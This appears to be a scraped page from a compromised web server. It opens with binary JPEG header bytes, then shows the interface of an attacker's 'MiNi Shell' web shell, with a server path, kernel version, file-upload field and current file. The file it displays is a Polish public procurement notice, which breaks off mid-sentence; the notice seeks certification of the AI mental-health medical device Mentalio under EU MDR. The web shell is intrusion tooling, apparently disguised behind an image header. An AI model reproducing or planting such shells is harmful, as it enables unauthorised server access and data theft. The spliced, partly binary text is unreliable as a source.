JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/home/vmanager/www/common/web/tenders/20250602/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/thread-self/root/home/vmanager/www/common/web/tenders/20250602/0025899601-N-2025.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Przeprowadzenie procesu certyfikacji wyrobu medycznego Mentalio w klasie III zgodnie z Medical Device Regulation (EU) 2017/745 </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Nivalit Sp. z o. o.</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 386863710</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Wadowicka 6/67</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Kraków</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">30-415</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">małopolskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL213 - Miasto Kraków</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">contact@nivalit.com</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://nivalit.com/</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - inny zamawiający</span> </h3> <p class="mb-0"> Spółka prawa handlowego, realizująca usługę z ABM, jako część projektu finansowanego ze środków budżetu państwa, w ramach konkursu na opracowanie innowacyjnych wyrobów medycznych opartych o AI </p> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Inna działalność</span> </h3> <p class="mb-0"> Działalność związana z oprogramowaniem </p> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Przeprowadzenie procesu certyfikacji wyrobu medycznego Mentalio w klasie III zgodnie z Medical Device Regulation (EU) 2017/745 </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-a91b1c26-cf6d-463c-8e1e-85a6a27377ea</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2025/BZP 00258996</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2025-06-02</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 2 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ezamowienia.gov.pl/mp-client/search/list/ocds-148610-a91b1c26-cf6d-463c-8e1e-85a6a27377ea <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://ezamowienia.gov.pl/mp-client/tenders/ocds-148610-a91b1c26-cf6d-463c-8e1e-85a6a27377ea</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">W niniejszym postępowaniu komunikacja między Zamawiającym a Wykonawcami odbywa się przy użyciu środków komunikacji elektronicznej, za pośrednictwem platformy on-line działającej pod adresem https://ezamowienia.gov.pl/mp-client/tenders/ocds-148610-a91b1c26-cf6d-463c-8e1e-85a6a27377ea (dalej jako: ”Platforma”).<br/>Do złożenia oferty konieczne jest posiadanie przez osobę upoważnioną do reprezentowania Wykonawcy ważnego kwalifikowanego podpisu elektronicznego, podpisu zaufanego lub podpisu osobistego.<br/>Warunki techniczne świadczenia usług przez Platformę określa § 12 Regulaminu Platformy.<br/>Komunikacja w postępowaniu, z wyłączeniem składania ofert, odbywa się drogą elektroniczną za pośrednictwem formularzy do komunikacji dostępnych w zakładce Formularze (Formularze do komunikacji). Za pośrednictwem Formularzy do komunikacji odbywa się w szczególności przekazywanie wezwań i zawiadomień, zadawanie pytań i udzielanie odpowiedzi. Formularze do komunikacji umożliwiają również dołączenie załącznika do przesyłanej wiadomości (przycisk dodaj załącznik). Możliwość korzystania w postępowaniu z Formularzy do komunikacji w pełnym zakresie wymaga posiadania konta „Wykonawcy” na Platformie e-Zamówienia oraz zalogowania się na Platformie e-Zamówienia. Do korzystania z „Formularzy do komunikacji” służących do zadawania pytań dotyczących treści dokumentów zamówienia wystarczające jest posiadanie tzw. konta uproszczonego na Platformie e-Zamówienia. Maksymalny rozmiar plików przesyłanych za pośrednictwem Formularzy do komunikacji wynosi 150 MB (wielkość ta dotyczy plików przesyłanych jako załączniki do jednego formularza). Minimalne wymagania techniczne dotyczące sprzętu używanego w celu korzystania z usług Platformy określa Regulamin Platformy.<br/>Ofertę, wraz ze stanowiącymi jej integralną część załącznikami, składa się pod rygorem nieważności w formie elektronicznej lub postaci elektronicznej za pośrednictwem Platformy, podpisaną kwalifikowanym podpisem elektronicznym, podpisem zaufanym lub podpisem osobistym. Wykonawca składa ofertę za pośrednictwem zakładki Oferty/wnioski, widocznej w podglądzie postępowania po zalogowaniu się na konto Wykonawcy. Maksymalny łączny rozmiar plików stanowiących ofertę lub składanych wraz z ofertą to 250 MB.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Zamawiający oświadcza, że spełnia wymogi określone w rozporządzeniu Parlamentu Europejskiego i Rady (UE) 2016/679 z 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz.Urz. UE L 119 z 4 maja 2016 r.), dalej: RODO, tym samym dane osobowe podane przez Wykonawcę będą przetwarzane zgodnie z RODO oraz zgodnie z przepisami krajowymi. Zamawiający informuje, że administratorem danych osobowych Wykonawcy jest Nivalit Sp. z o.o. Dane osobowe Wykonawcy przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z przedmiotowym postępowaniem o udzielenie zamówienia publicznego. Odbiorcami przekazanych przez Wykonawcę danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania zgodnie z art. 8 oraz art. 96 ust. 3 Ustawy Pzp, a także art. 6 Ustawy z 6 września 2001 r. o dostępie do informacji publicznej. Dane osobowe Wykonawcy zawarte w protokole postępowania będą przechowywane przez okres 4 lat od dnia zakończenia postępowania o udzielenie zamówienia. Jeżeli czas trwania umowy przekracza 4 lata, okres przechowywania obejmuje cały czas trwania umowy. Zamawiający nie planuje przetwarzania danych osobowych Wykonawcy w celu innym niż cel określony powyżej. Wykonawca jest zobowiązany, w związku z udziałem w przedmiotowym postępowaniu, do wypełnienia wszystkich obowiązków formalnoprawnych wymaganych przez RODO i związanych z udziałem w przedmiotowym postępowaniu o udzielenie zamówienia. Należą do nich obowiązki informacyjne z art. 13 RODO względem osób fizycznych, których dane osobowe dotyczą i od których dane te Wykonawca bezpośrednio pozyskał i przekazał Zamawiającemu w treści oferty lub dokumentów składanych na żądanie Zamawiającego oraz art. 14 RODO względem osób fizycznych, których dane Wykonawca pozyskał w sposób pośredni, a które to dane Wykonawca przekazuje Zamawiającemu w treści oferty lub dokumentów składanych na żądanie Zamawiającego.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Zamawiający informuje, że: udostępnia dane osobowe, o których mowa w art. 10 RODO (dane osobowe dotyczące wyroków skazujących i czynów zabronionych) w celu umożliwienia korzystania ze środków ochrony prawnej, o których mowa w dziale IX ustawy Pzp, do upływu terminu na ich wniesienie; udostępnianie protokołu i załączników do protokołu ma zastosowanie do wszystkich danych osobowych, z wyjątkiem tych, o których mowa w art. 9 ust. 1 RODO (tj. danych osobowych ujawniających pochodzenie rasowe lub etniczne, poglądy polityczne, przekonania religijne lub światopoglądowe, przynależność do związków zawodowych oraz przetwarzania danych genetycznych, danych biometrycznych w celu jednoznacznego zidentyfikowania osoby fizycznej lub danych dotyczących zdrowia, seksualności lub orientacji seksualnej tej osoby), zebranych w toku postępowania o udzielenie zamówienia; w przypadku korzystania przez osobę, której dane osobowe są przetwarzane przez Zamawiającego, z uprawnienia, o którym mowa w art. 15 ust. 1–3 RODO (związanych z prawem Wykonawcy do uzyskania od administratora potwierdzenia, czy przetwarzane są dane osobowe jego dotyczące, prawem Wykonawcy do bycia poinformowanym o odpowiednich zabezpieczeniach, o których mowa w art. 46 RODO, związanych z przekazaniem jego danych osobowych do państwa trzeciego lub organizacji międzynarodowej oraz prawem otrzymania przez Wykonawcę od administratora kopii danych osobowych podlegających przetwarzaniu), Zamawiający może żądać od osoby występującej z żądaniem wskazania dodatkowych informacji, mających na celu sprecyzowanie nazwy lub daty zakończonego postępowania o udzielenie zamówienia; skorzystanie przez osobę, której dane osobowe są przetwarzane, z uprawnienia, o którym mowa w art. 16 RODO (uprawnienie do sprostowania lub uzupełnienia danych osobowych), nie może naruszać integralności protokołu postępowania oraz jego załączników; w postępowaniu o udzielenie zamówienia zgłoszenie żądania ograniczenia przetwarzania, o którym mowa w art. 18 ust. 1 RODO, nie ogranicza przetwarzania danych osobowych do czasu zakończenia tego postępowania; w przypadku, gdy wniesienie żądania dotyczącego prawa, o którym mowa w art. 18 ust. 1 RODO spowoduje ograniczenie przetwarzania danych osobowych zawartych w protokole postępowania lub załącznikach do tego protokołu, od dnia zakończenia postępowania o udzielenie zamówienia Zamawiający nie udostępnia tych danych, chyba że zachodzą przesłanki, o których mowa w art. 18 ust. 2 rozporządzenia 2016/679.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">1/ZP/2025</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przeprowadzenie procesu certyfikacji wyrobu medycznego Mentalio w klasie III zgodnie z Medical Device Regulation (EU) 2017/745 <br/><br/>Nazwa handlowa wyrobu: Mentalio – system wsparcia decyzji diagnostycznych i terapeutycznych w obszarze zdrowia psychicznego nastolatków w oparciu o algorytmy sztucznej inteligencji.<br/><br/>1. Ocena formalna Wniosku o certyfikację wyrobu medycznego klasy III według Medical Devices Regulation (EU) 2017/745 zgodnie z załącznikiem IX (dalej zwane MDR).<br/>2. Ocena merytoryczna Dokumentacji Technicznej Wyrobu według MDR.<br/>3. Ocena systemu zarządzania jakością na zgodność z MDR.<br/>4. Proces certyfikujący Wyrób medyczny klasy III w postaci wyrobu medycznego Mentalio na zgodność z MDR.<br/>5. Cała dokumentacja techniczna dla wyrobu medycznego jest w mieszanym układzie językowym: polskim i angielskim. Cały proces oceny zgodności wyrobu ma być przeprowadzony w języku polskim.<br/>6. Oferta instytucji notyfikowanej w ramach procesu certyfikacji wyrobu medycznego klasy III będącego oprogramowaniem AI winna obejmować:<br/>a)	ocenę systemu zarządzania jakością w oparciu o wytyczne MDR<br/>b)	ocenę dokumentacji technicznej wyrobu stworzonej w oparciu o wytyczne z załączników II i III MDR.<br/><br/>Szczegółowy opis przedmiotu zamówienia zawarty jest w załączniku nr 1 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">98113000-8 - Usługi świadczone przez organizacje specjalistyczne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">12 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Procentowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> serwis posprzedażny, pomoc techniczna, warunki dostawy takich jak termin, sposób lub czas dostawy, oraz okresu realizacji. <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Okres trwania procesu certyfikacji</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">20</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Liczba i doświadczenie osób skierowanych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">20</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> Zdolność techniczna lub zawodowa.<br/>1)	O udzielenie zamówienia mogą ubiegać się instytucje notyfikowane, które w przeciągu ostatnich 3 lat przed wszczęciem postępowania:<br/>a)	przeprowadziły minimum trzy certyfikacje wyrobów medycznych klasy III;<br/>b)	przeprowadziły minimum jedną certyfikację wyrobu medycznego będącego oprogramowaniem AI;<br/><br/>2)	O udzielenie zamówienia mogą ubiegać się instytucje notyfikowane, które dysponują minimum dwoma audytorami, z których każdy w przeciągu ostatnich 5 lat przed wszczęciem postępowania:<br/>a)	przeprowadził minimum dwa audyty wyrobów medycznych klasy III;<br/>b)	przeprowadził minimum jeden audyt wyrobu medycznego będącego oprogramowaniem AI. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">W celu potwierdzenia braku podstaw wykluczenia Wykonawcy z udziału w postępowaniu:<br/>1.	Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu wstępnym.<br/>Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu, o którym mowa w art. 125 ust. 1 ustawy Pzp, w zakresie podstaw wykluczenia z postępowania wskazanych przez Zamawiającego – wzór w zał. 8</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">W celu potwierdzenia spełniania przez Wykonawcę warunków udziału w postępowaniu:<br/>1.	Wykaz usług.<br/>Wykaz usług wykonanych, a w przypadku świadczeń powtarzających się lub ciągłych również wykonywanych, w okresie ostatnich trzech lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane lub są wykonywane, oraz załączeniem dowodów określających czy usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi zostały wykonane, a w przypadku świadczeń powtarzających się lub ciągłych są wykonywane, a jeżeli Wykonawca z przyczyn niezależnych od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie Wykonawcy. W przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wystawione w okresie ostatnich 3 miesięcy. Jeżeli Wykonawca powołuje się na doświadczenie w realizacji usług, wykonywanych wspólnie z innymi wykonawcami, wykaz dotyczy usług, w których wykonaniu Wykonawca ten bezpośrednio uczestniczył, a w przypadku świadczeń powtarzających się lub ciągłych, w których wykonywaniu bezpośrednio uczestniczył lub uczestniczy – wzór w zał. 9<br/>2.	Wykaz osób.<br/>Wykaz osób skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami - załącznik nr 10 do SWZ.</span> </h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Wykonawca wraz z ofertą zobowiązany jest złożyć:<br/>1.	Wzór oferty<br/>Wzór oferty w zał. 2<br/>2.	Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału.<br/>Aktualne na dzień składania ofert oświadczenie Wykonawcy stanowiące wstępne potwierdzenie spełniania warunków udziału w postępowaniu oraz brak podstaw wykluczenia – wzór w zał. 3<br/>3.	Zobowiązanie podmiotu udostępniającego zasoby.<br/>Zobowiązanie podmiotu udostępniającego zasoby do oddania mu do dyspozycji niezbędnych zasobów na potrzeby realizacji danego zamówienia lub inny podmiotowy środek dowodowy potwierdzający, że Wykonawca realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów – jeżeli dotyczy – wzór w zał. 6 <br/>4.	Oświadczenie wykonawców wspólnie ubiegających się o udzielenie zamówienia.<br/>Oświadczenie wykonawców wspólnie ubiegających się o udzielenie zamówienia, składane na podstawie art. 117 ust. 4 ustawy Pzp w zakresie wykazu usług, które wykonają wykonawcy wspólnie ubiegający się o udzielenie zamówienia – jeżeli dotyczy – wzór w zał. 5<br/>5.	Oświadczenie podmiotu udostępniającego zasoby<br/>Oświadczenie podmiotu udostępniającego zasoby, potwierdzające brak podstaw wykluczenia tego podmiotu oraz odpowiednio spełnianie warunków udziału w postępowaniu lub kryteriów selekcji, w zakresie, w jakim wykonawca powołuje się na jego zasoby – jeżeli dotyczy – wzór w zał. 7 <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku Wykonawcy zobowiązani są do ustanowienia pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo do reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego. Pełnomocnictwo należy dołączyć do oferty i powinno ono zawierać w szczególności wskazanie postępowania udzielenie zamówienia publicznego, którego dotyczy, wszystkich Wykonawców ubiegających się wspólnie o udzielenie zamówienia oraz ustanowionego pełnomocnika oraz zakresu jego umocowania.<br/>W przypadku wspólnego ubiegania się o zamówienie przez Wykonawców, dokument ”Oświadczenia o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału”, składa każdy z Wykonawców wspólnie ubiegających się o zamówienie. Oświadczenia te potwierdzają brak podstaw wykluczenia oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim każdy z Wykonawców wykazuje spełnianie warunków udziału w postępowaniu. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Zamawiający dopuszcza możliwość zmian umowy w następującym zakresie i na określonych poniżej warunkach: zgodnie z projektem umowy zawartym w załączniku nr 